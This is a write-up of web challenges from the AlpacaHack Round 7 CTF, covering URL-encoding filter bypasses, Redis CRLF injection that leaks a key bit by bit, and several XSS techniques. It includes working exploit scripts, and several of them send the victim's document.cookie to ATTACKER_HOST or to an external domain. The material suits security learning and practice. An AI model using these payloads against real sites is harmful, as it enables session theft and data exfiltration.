AlpacaHack Round 7 WriteUps
This week I participated in the Solo CTF AlpacaHack Round 7, which consisted entirely of web challenges. The problems were quite interesting, especially the last one which took me a lot of time and I still couldn’t solve it…
Treasure Hunt
The website itself is very simple:
import express from "express";
const html = `
<h1>Treasure Hunt 👑</h1>
<p>Can you find a treasure?</p>
<ul>
<li><a href=/book>/book</a></li>
<li><a href=/drum>/drum</a></li>
<li><a href=/duck>/duck</a></li>
<li><a href=/key>/key</a></li>
<li><a href=/pen>/pen</a></li>
<li><a href=/tokyo/tower>/tokyo/tower</a></li>
<li><a href=/wind/chime>/wind/chime</a></li>
<li><a href=/alpaca>/alpaca</a></li>
</ul>
`.trim();
const app = express();
app.use((req, res, next) => {
res.type("text");
if (/[flag]/.test(req.url)) {
res.status(400).send(`Bad URL: ${req.url}`);
return;
}
next();
});
app.use(express.static("public"));
app.get("/", (req, res) => res.type("html").send(html));
app.listen(3000);
And in the Dockerfile
there is:
# Move flag.txt to $FLAG_PATH
RUN FLAG_PATH=./public/$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)/f/l/a/g/./t/x/t \
&& mkdir -p $(dirname $FLAG_PATH) \
&& mv flag.txt $FLAG_PATH
So the flag will be located at ./public/0/1/.../f/l/a/g/./t/x/t
, but express uses middleware to prohibit the characters flag
from appearing in req.url
.
However, experimenting a bit reveals that simply URL encoding can bypass this, for example a
-> %61
. The rest is just writing a script to brute force search layer by layer.
import httpx, asyncio
HEX = "0123456789abcdef"
def encode_to_path(ar):
path = ""
for c in ar:
path += f"/%{ord(c):02x}"
return path
async def main():
async with httpx.AsyncClient(base_url="http://34.170.146.252:19843/") as client:
pre = []
while len(pre) < 32:
tasks = []
for h in HEX:
cur = pre + [h]
tasks.append(client.get(encode_to_path(cur)))
responses = await asyncio.gather(*tasks)
for h, resp in zip(HEX, responses):
if resp.status_code != 404:
pre.append(h)
print(pre)
break
pre += [*"flag.txt"]
resp = await client.get(encode_to_path(pre))
print(resp.text)
asyncio.run(main())
# Alpaca{alpacapacapacakoshitantan}
Alpaca Poll
The key code is here:
app.post('/vote', async (req, res) => {
let animal = req.body.animal || 'alpaca';
// animal must be a string
animal = animal + '';
// no injection, please
animal = animal.replace('\r', '').replace('\n', '');
try {
return res.json({
[animal]: await vote(animal)
});
} catch {
return res.json({ error: 'something wrong' });
}
});
And the vote
function is like this:
export async function vote(animal) {
const socket = await connect();
const message = `INCR ${animal}\r\n`;
const reply = await send(socket, message);
socket.destroy();
return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number
}
The flag is under the flag
key in redis.
Obviously, the goal is to use redis injection to read the flag. First, its replace of \r
\n
only replaces the first match, so by placing \r\n
at the beginning of the payload, it can be bypassed.
Next, when it parses the response, it looks for the first number in the first packet returned, so we need to make the INCR ...
part produce an error. I used INCR flag
because the type is incorrect, causing an error, and no number appears in the response.
To leak the flag, I used GETBIT
to read each bit of the flag, thus leaking the flag.
# curl 'http://34.170.146.252:25001/vote' -d 'animal=%0d%0aflag%0d%0aGETBIT%20flag%201'
import httpx, asyncio
from binteger import Bin
async def main():
flaglen = 26 # STRLEN flag
async with httpx.AsyncClient(base_url="http://34.170.146.252:25001/") as client:
bits = []
for i in range(flaglen):
tasks = []
for j in range(8):
tasks.append(
client.post(
"vote",
data={"animal": f"\r\nflag\r\nGETBIT flag {i * 8 + j}"},
)
)
responses = await asyncio.gather(*tasks)
bs = []
for resp in responses:
b = list(resp.json().values()).pop()
bs.append(b)
bits.extend(bs)
print(bits)
print(Bin(bits).bytes)
asyncio.run(main())
# Alpaca{ezotanuki_mofumofu}
It seems you can also use the EVAL
command to execute lua, and then call methods like GETRANGE
in lua to convert to ascii.
minimal-waf
This challenge is a simple XSS problem:
import express from "express";
const indexHtml = `
<title>HTML Viewer</title>
<link rel="stylesheet" href="https://unpkg.com/bamboo.css/dist/light.min.css">
<body>
<h1>HTML Viewer</h1>
<form action="/view">
<p><textarea name="html"></textarea></p>
<div style="text-align: center">
<input type="submit" value="Render">
</div>
</form>
</body>
`.trim();
express()
.get("/", (req, res) => res.type("html").send(indexHtml))
.get("/view", (req, res) => {
const html = String(req.query.html ?? "?").slice(0, 1024);
if (
req.header("Sec-Fetch-Site") === "same-origin" &&
req.header("Sec-Fetch-Dest") !== "document"
) {
// XSS detection is unnecessary because it is definitely impossible for this request to trigger an XSS attack.
res.type("html").send(html);
return;
}
if (/script|src|on|html|data|&/i.test(html)) {
res.type("text").send(`XSS Detected: ${html}`);
} else {
res.type("html").send(html);
}
})
.listen(3000);
I couldn’t find a way to bypass the regex waf, so I needed to find a way to make it go through the unchecked if statement above.
When I saw this code, I remembered the Private Browsing+ challenge I created for HITCON CTF this year, which used the chromium disk cache mechanism to bypass this. This disk cache technique comes from SECCON CTF 2022 Quals - spannote.
Without going into details, the specific steps to achieve this are:
- Visit the XSS url
- Visit another page that will make a request to the same XSS url with correct headers (without waf headers)
- Visit
about:blank
history.go(-2)
- Cached response in disk cache gets loaded -> XSS
A key point here is to find a way to perform a fetch to another url under the waf. The simplest idea is to use <img src="...">
, but it is blocked by the waf’s src
. However, similar things like background: url(...)
in css are not in the waf, so they can be used.
However, there is a problem that the url in the style tag is the XSS url (http://localhost:3000/view?html=<script>...
), and the url contains words like html
and script
that are blocked by the waf, so a method to escape is needed.
I used the css string method where unicode codepoints can be represented as \0061
to bypass this, so the exploit can be written as follows:
<script>
const sleep = ms => new Promise(res => setTimeout(res, ms))
;(async () => {
const url =
'http://localhost:3000/view?html=' +
encodeURIComponent('<script>(new Image).src="//ATTACKER_HOST/flag?"+document.cookie<\/script>')
const url2 = url
.split('')
.map(c => '\\' + c.charCodeAt(0).toString(16).padStart(4, '0'))
.join('')
const w = open(url)
await sleep(1000)
w.location =
'http://localhost:3000/view?html=' +
encodeURIComponent(`
<style>body{background: url("${url2}")}</style>
`)
await sleep(1000)
w.location = 'about:blank'
await sleep(100)
w.history.go(-2)
})()
</script>
<!-- Alpaca{WafWafPanic} -->
Additionally, I saw another solution from this tweet:
Prefetching a page containing script will send
Sec-Fetch-Dest: empty
-> Move to the page containing script
In short, prefetch the XSS url, then visit the XSS url. This works because prefetch sends Sec-Fetch-Dest: empty
, and visiting it will load from the prefetch cache, thus achieving XSS.
I wrote a similar exploit myself:
<script>
const sleep = ms => new Promise(res => setTimeout(res, ms))
;(async () => {
const url =
'http://localhost:3000/view?html=' +
encodeURIComponent('<script>(new Image).src="//z.ss0.pw/flag?"+document.cookie<\/script>')
const url2 = url.split('').join('\n')
const w = open(url)
await sleep(1000)
w.location =
'http://localhost:3000/view?html=' +
encodeURIComponent(`
<link rel="prefetch" href="${url2}" />
`)
await sleep(10000)
w.location = url
})()
</script>
Another direct bypass for the waf is using the <embed>
tag’s undocumented code
attribute, which functions similarly to src
. It seems to be a strange feature of chromium….
Payload generator:
const payload = '<script>alert(origin)</script>'
const payload2 = payload
.split('')
.map(c => '%' + c.charCodeAt(0).toString(16).padStart(2, '0'))
.join('')
const url =
'http://localhost:3000/view?html=' +
encodeURIComponent(`
<embed code="/view?ht
ml=${payload2}" type="text/ht
ml"></embed>
`)
console.log(url)
disconnection
The challenge is very short:
import express from "express";
const html = `
<h1>XSS Playground</h1>
<script>eval(new URLSearchParams(location.search).get("xss"));</script>
`.trim();
express()
.use("/", (req, res, next) => {
res.setHeader(
"Content-Security-Policy",
"script-src 'unsafe-inline' 'unsafe-eval'; default-src 'none'"
);
next();
})
.get("/", (req, res) => res.type("html").send(html))
.all("/*", (req, res) => res.socket.destroy()) // disconnected
.listen(3000);
The flag is in the bot’s cookie, but the path is under /cookie
:
const page = await context.newPage();
await page.setCookie({
name: "FLAG",
value: FLAG,
domain: APP_HOST,
path: "/cookie", // 🍪
});
await page.goto(url, { timeout: 5_000 });
await sleep(10_000);
await page.close();
So the goal is to find a way to read the /cookie
cookie through XSS on /
. The usual method is to open /cookie
and access w.document.cookie
, but since the path /*
directly drops the connection, it can’t normally open /cookie
.
My first thought was to use RPO (Relative Path Overwrite), making the browser think it’s a page under /cookie
but the server normalizes it to /
, thus reading the /cookie
cookie. Unfortunately, express + node.js doesn’t normalize paths, so this doesn’t work.
Another direction is to question whether /*
paths really get disconnected. Testing shows that paths like /cookie/%gg
cause a decode error in express’s internal path handling, resulting in a normal error page, which can be used to read the flag.
<script>
xss = `
w=open('/cookie/%gg')
setTimeout(()=>{
location='//ATTACKER_HOST/flag?'+w.document.cookie
},1000)
`
location = 'http://disconnection:3000/?xss=' + encodeURIComponent(xss)
</script>
<!-- Alpaca{browser_behavior_is_to0o0o0o0o0o0o0_complicated} -->
However, this solution is clearly unintended, so the challenge author released the next challenge, disconnection-revenge, which I got stuck on for a long time and couldn’t solve QQ.
*disconnection-revenge
This challenge was upsolved
import express from "express";
const html = `
<h1>XSS Playground</h1>
<script>eval(new URLSearchParams(location.search).get("xss"));</script>
`.trim();
express()
.use("/", (req, res, next) => {
res.setHeader(
"Content-Security-Policy",
"script-src 'unsafe-inline' 'unsafe-eval'; default-src 'none'"
);
next();
})
.get("/", (req, res) => res.type("html").send(html))
.all("/*", (req, res) => res.socket.destroy()) // disconnected
.use((err, req, res, next) => {
// revenge!
res.socket.destroy(); // disconnected
})
.listen(3000);
The goal is the same, but it adds an error handler to disconnect the connection, invalidating the previous solution.
So I thought, if express-level errors don’t work, can we achieve it through node.js http errors? From here, we can see node.js has built-in errors for handling bad requests, timeouts, headers too large, chunk extensions too large, etc.
The easiest to trigger is HTTP 431 for headers too large, just use a very long path:
location = 'http://34.170.146.252:55944/'+'a'.repeat(20000)
However, this produces chromium’s own error page with the url chrome-error://chromewebdata/
, so it can’t be used to read the cookie.
I did some additional experiments and found that as long as the status code is >= 400 and the body is empty, chromium’s error page appears. To avoid triggering the built-in error page, the status code must be < 400 or the body must contain something (at least 1 byte). Related chromium code can be found here.
I was stuck here until the end of the competition because I couldn’t find another way to produce an error page while keeping it same origin.
Later, I saw this writeup (not sure if it’s intended), which revealed that chromium’s built-in error page doesn’t trigger in an iframe, so triggering 431 in an iframe results in an error at /cookie/aaaa....
in the iframe. However, due to CSP, the iframe must be embedded in a page on our own origin, which causes document.cookie
to be empty due to samesite cookies, but its cookie url is still /cookie/aaaa....
.
The bypass method is simple: create a top frame related to the error page, and the samesite issue is resolved. The writeup’s method is to directly win_ref.open()
an about:blank
page, then read the cookie from it.
<iframe id="f1"></iframe>
<iframe id="f2"></iframe>
<script>
const base = 'http://disconnection-revenge:3000/'
const sleep = ms => new Promise(res => setTimeout(res, ms))
;(async () => {
f1.src = new URL('/cookie/' + 'a'.repeat(20000), base)
await sleep(1000)
f2.src = new URL(
'/?xss=' +
encodeURIComponent(`
w = top[0].open('about:blank')
setTimeout(()=>{
top.location = 'http://ATTACKER_HOST/flag?' + w.document.cookie
}, 1000)
`),
base
)
})()
</script>
<!-- Alpaca{unintended_solutions_everywh3re_sorry} -->
This solution shows that about:blank
can inherit the initiator’s cookie (see also whatwg/html #332).
Additionally, the cookie url mentioned earlier is not defined in any spec but is an implementation detail of chromium. Checking further, I found the Define a policy container issue, which explains that many features like csp, referrer policy, cookie url inheritance currently lack a standard spec, so these behaviors are often implementation-defined.